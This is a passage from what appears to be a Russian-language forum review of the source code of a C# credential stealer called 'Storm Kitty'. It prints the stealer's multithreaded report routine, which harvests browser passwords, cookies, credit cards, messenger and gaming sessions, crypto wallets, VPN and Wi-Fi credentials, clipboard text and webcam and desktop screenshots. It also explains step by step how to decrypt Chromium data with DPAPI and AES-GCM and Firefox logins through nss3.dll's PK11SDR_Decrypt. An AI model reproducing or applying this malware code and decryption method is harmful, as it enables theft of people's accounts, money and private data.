запросах «.net screenshot example» и «.net webcamshot example», или что-то в этом духе. Кейлоггер реализован несколькими классами из папки «Keylogger» и классом «WindowManager», и да, это тоже кажется очень избыточным с точки зрения архитектуры проекта.
Ну а теперь давайте переходить непосредственно к функционалу стилера этого нашего «Штормового Котёночка». Основной функционал по сбору ценной парольной и не только информации разделен на отдельные модули, каждый из которых вызывается отдельно методом класса «Report.CreateReport» в отдельном потоке. При этом страшно подумать, но одновременно запускается 23 потока (ну я насчитал 23 потока, может ошибся на плюс/минус 1-2). История умалчивает, почему нельзя это было сделать итеративно, а не параллельно, при этом не так сильно нагружая операционную систему. Понятно, что разбиение на потоки чуток ускорит всю обработку за счёт файлового ввода вывода, но 23 достаточно нагруженных потока, 23 потока, Карл! Основной поток же ожидает завершения всех новорожденный потоков и только по их завершению продолжает исполнение.
C#:Скопировать в буфер обмена
public static bool CreateReport(string sSavePath)
{
// List with threads
List <Thread> Threads = new List<Thread>();
try
{
// Collect files (documents, databases, images, source codes)
if (Config.GrabberModule == "1")
Threads.Add(new Thread(() =>
FileGrabber.Run(sSavePath + "\\Grabber")
));
// Chromium & Edge thread (credit cards, passwords, cookies, autofill, history, bookmarks)
Threads.Add(new Thread(() =>
{
Chromium.Recovery.Run(sSavePath + "\\Browsers");
Edge.Recovery.Run(sSavePath + "\\Browsers");
}));
// Firefox thread (logins.json, db files, cookies, history, bookmarks)
Threads.Add(new Thread(() =>
Firefox.Recovery.Run(sSavePath + "\\Browsers")
));
// Internet explorer thread (logins)
Threads.Add(new Thread(() =>
InternetExplorer.Recovery.Run(sSavePath + "\\Browsers")
));
// Write discord tokens
Threads.Add(new Thread(() =>
Discord.WriteDiscord(
Discord.GetTokens(),
sSavePath + "\\Messenger\\Discord")
));
// Write pidgin accounts
Threads.Add(new Thread(() =>
Pidgin.Get(sSavePath + "\\Messenger\\Pidgin")
));
// Write outlook accounts
Threads.Add(new Thread(() =>
Outlook.GrabOutlook(sSavePath + "\\Messenger\\Outlook")
));
// Write telegram session
Threads.Add(new Thread(() =>
Telegram.GetTelegramSessions(sSavePath + "\\Messenger\\Telegram")
));
// Write skype session
Threads.Add(new Thread(() =>
Skype.GetSession(sSavePath + "\\Messenger\\Skype")
));
// Steam & Uplay sessions collection
Threads.Add(new Thread(() =>
{
// Write steam session
Steam.GetSteamSession(sSavePath + "\\Gaming\\Steam");
// Write uplay session
Uplay.GetUplaySession(sSavePath + "\\Gaming\\Uplay");
// Write battle net session
BattleNET.GetBattleNETSession(sSavePath + "\\Gaming\\BattleNET");
}));
// Minecraft collection
Threads.Add(new Thread(() =>
Minecraft.SaveAll(sSavePath + "\\Gaming\\Minecraft")
));
// Write wallets
Threads.Add(new Thread(() =>
Wallets.GetWallets(sSavePath + "\\Wallets")
));
// Write FileZilla
Threads.Add(new Thread(() =>
FileZilla.WritePasswords(sSavePath + "\\FileZilla")
));
// Write VPNs
Threads.Add(new Thread(() =>
{
ProtonVPN.Save(sSavePath + "\\VPN\\ProtonVPN");
OpenVPN.Save(sSavePath + "\\VPN\\OpenVPN");
NordVPN.Save(sSavePath + "\\VPN\\NordVPN");
}));
// Get directories list
Threads.Add(new Thread(() =>
{
Directory.CreateDirectory(sSavePath + "\\Directories");
DirectoryTree.SaveDirectories(sSavePath + "\\Directories");
}));
// Create directory to save system information
Directory.CreateDirectory(sSavePath + "\\System");
// Process list & active windows list
Threads.Add(new Thread(() =>
{
// Write process list
ProcessList.WriteProcesses(sSavePath + "\\System");
// Write active windows titles
ActiveWindows.WriteWindows(sSavePath + "\\System");
}));
// Desktop & Webcam screenshot
Thread dwThread = new Thread(() =>
{
// Create dekstop screenshot
DesktopScreenshot.Make(sSavePath + "\\System");
// Create webcam screenshot
WebcamScreenshot.Make(sSavePath + "\\System");
});
dwThread.SetApartmentState(ApartmentState.STA);
Threads.Add(dwThread);
// Saved wifi passwords
Threads.Add(new Thread(() =>
{
// Fetch saved WiFi passwords
Wifi.SavedNetworks(sSavePath + "\\System");
// Fetch all WiFi networks with BSSID
Wifi.ScanningNetworks(sSavePath + "\\System");
}
));;
// Windows product key
Threads.Add(new Thread(() =>
// Write product key
File.WriteAllText(sSavePath + "\\System\\ProductKey.txt",
ProductKey.GetWindowsProductKeyFromRegistry())
));
// Debug logs
Threads.Add(new Thread(() =>
Logging.Save(sSavePath + "\\System\\Debug.txt")
));
// System info
Threads.Add(new Thread(() =>
SysInfo.Save(sSavePath + "\\System\\Info.txt")
));
// Clipboard text
Threads.Add(new Thread(() =>
File.WriteAllText(sSavePath + "\\System\\Clipboard.txt",
Clipper.Clipboard.GetText())
));
// Get installed apps
Threads.Add(new Thread(() =>
InstalledApps.WriteAppsList(sSavePath + "\\System")
));
// Start all threads
foreach (Thread t in Threads)
t.Start();
// Wait all threads
foreach (Thread t in Threads)
t.Join();
return Logging.Log("Report created", true);
}
catch (Exception ex) {
return Logging.Log("Failed to create report, error:\n" + ex, false);
}
}
Первый поток отвечает за сбор файлов, расширения которых указаны в конфигурации стаба. Эти файлы просто копируются с рабочего стола пользователя, с папок «Мои Документы», «Мои Картинки», «Загрузки», а так же из папок облачных хранилищ OneDrive и DropBox. Реализация этого функционала находится в классе «FileGrabber» и особого интереса не представляет, это просто поиск и копирование файлов.
Второй поток собирает пароли и другую ценную информацию из браузеров Chrome и Edge. Давайте рассмотрим реализацию более подробно. В браузерах на базе Chromium существует два вида хранения зашифрованной информации, в частности паролей. До 80ой версии Chromium ценная информация просто накрывалась локальным шифрованием с помощью DPAPI. С 80ой версии в Chromium (и многих других браузерах на его базе) стал использоваться мастер ключ (зашифрованный с помощью DPAPI), на котором затем шифровались и дешифровались данные с помощью немного хитрой версии AES — в режиме GCM (Galois/Counter Mode или же счётчик с аутентификацией Галуа), сейчас этот режим очень широко применяется в программном обеспечении и считается весьма эффективным. Для того, чтобы отличать два режима зашифрованных данных в браузерах на базе Chromium используется префиксы к зашифрованным бинарным данным. В общем случае префикс «v10» и «v11» означает, что для конкретно этих шифр-данных использовался мастер ключ и AES в режиме GCM. А его отсутствие (заголовок DPAPI) означает, что использовался старый метод — простое, как 5 копеек, использование DPAPI. Реализация дешифрования DPAPI и получение мастер ключа находится в классе «Chromium.Crypto». Стоит заметить, что использовать для этих целей нативную функцию «CryptUnprotectData» в .NET не имеет особого смысла, так как во фреймворке есть готовый статический метод «ProtectedData.Unprotect». Как будет видно далее, наш Владимир из Украины знал об этом методе, но по какой-то причине не стал его тут использовать (кхе-кхе, копипастер сраный, кхе-кхе). Мастер ключ хранится в файле «Local State» и достаётся из него с помощью регулярных выражений (изначально этот файл имеет формат JSON). AES в режиме GCM реализован с помощью встроенной в операционную систему библиотеки «bcrypt.dll» (реализацию можно найти в файлах «AesGcm.cs» и «Bcrypt.cs»), описание отдельных функций и структур этой библиотеки можно найти на MSDN (описывать их в статье пришлось бы очень долго). Вся ценная для стилера информация хранится либо в файлах формата SQLite, либо в файлах формата JSON и может хранится либо в открытом, либо в зашифрованном виде в зависимости от того, какая эта информация конкретно. Использовать готовый JSON парсер или написать свой мини-парсер для JSON (ей богу, парсить JSON очень просто) автор стилера не удосужился, поэтому парсит всё через регулярные выражения, что вполне можно признать говнокодом. Парсер для SQLite, судя по всему, был на скорую руку портирован из VB.NET (на C# явно так не пишут, я вроде видел реализации на VB.NET в каком-то публичном ратнике, наверно он взят оттуда) и выглядит просто ужасно, но, вероятно, работает более менее нормально. Для полноты картины осталось только взглянуть, откуда берётся какая информация и какими методами в коде стаба (весь функционал связанный с «хромым» находится в подпапке проекта «Targets\Browsers\Chromium»).
C#:Скопировать в буфер обмена
List<CreditCard> pCreditCards = CreditCards.Get(sProfile + "\\Web Data");
List<Password> pPasswords = Passwords.Get(sProfile + "\\Login Data");
List<Cookie> pCookies = Cookies.Get(sProfile + "\\Cookies");
List<Site> pHistory = History.Get(sProfile + "\\History");
List<Site> pDownloads = Downloads.Get(sProfile + "\\History");
List<AutoFill> pAutoFill = Autofill.Get(sProfile + "\\Web Data");
List<Bookmark> pBookmarks = Bookmarks.Get(sProfile + "\\Bookmarks");
Третий поток добывает полезную информацию из браузера Firefox. В «лисе» пароли зашифрованы довольно хитрым алгоритмом, который они (разработчики «лисы») называют PK11SDR. С наскока его не особо то и реализуешь, поэтому разработчики многих стилеров просто используют экспортируемую из библиотеки самой «лисы» «nss3.dll» функцию с именем «PK11SDR_Decrypt». Для этого нужно найти путь, куда установлена «лиса», и загрузить оттуда библиотеку «mozglue.dll» (так как библиотека «nss3.dll» от неё зависит), а затем и саму библиотеку «nss3.dll». Прежде чем мы перейдём к тому, как вызывать эту функцию, нужно понять преимущества и недостатки этого метода. Безусловно то, что эта библиотека всегда есть вместе с установленной «лисой», это — хорошо, и нам нет необходимости реализовывать комплексный алгоритм самим или таскать с собой большую библиотеку для расшифровки. Однако стоит обратить внимание, что релизная версия стаба собирается в режиме x64 (не x86 и не AnyCPU), то есть стаб будет запускаться, как 64-битный процесс. В том случае, если на компьютере жертвы будет установлена 32-битная версия «лисы», 64-битный процесс стаба просто не сможет загрузить эти необходимые для расшифровки динамические библиотеки. И это — довольно жирный минус. Плюс ко всему вполне вероятно, что для некоторых антивирусов попытка рандомного процесса загружать динамические библиотеки из папки «лисы» будет считаться заведомо вредоносным поведением (но это конечно нужно проверять). Экспортируемая функция «PK11SDR_Decrypt» принимает на вход шифр-данные и возвращает открытые данные в виде указателей на структуры типа TSECItem (в дотнете вполне для передачи указателя на структуру можно воспользоваться модификатором «ref»), которые в свою очередь содержат указатель на буферы с данными и размеры этих буферов. Код дешифрования паролей реализован в файле «Decryptor.cs» и довольно прост. Разве что вызывать эти функции можно было бы и простым PInvoke после того, как библиотека «nss3.dll» была загружена в процесс, чтобы не морочиться с указателями и делегатами. PInvoke сделает ровно тоже самое, но автор проекта вероятно об этом просто не знал. Аналогично с «хромым» ценная информация добывается из файлов профиля пользователя, которые могут быть либо в формате SQLite, либо JSON в зависимости от конкретной информации. Давайте рассмотрим, в каких классах реализовано получение какой информации из следующего фрагмента кода (весь функционал связанный с «лисой» находится в подпапке проекта «Targets\Browsers\Firefox»).
C#:Скопировать в буфер обмена
List<Bookmark> bookmarks = Firefox.cBookmarks.Get(browser); // Read all Firefox bookmarks
List<Cookie> cookies = Firefox.cCookies.Get(browser); // Read all Firefox cookies
List<Site> history = Firefox.cHistory.Get(browser); // Read all Firefox history
List<Password> passwords = Firefox.cPasswords.Get(browser); // Read all Firefox passwords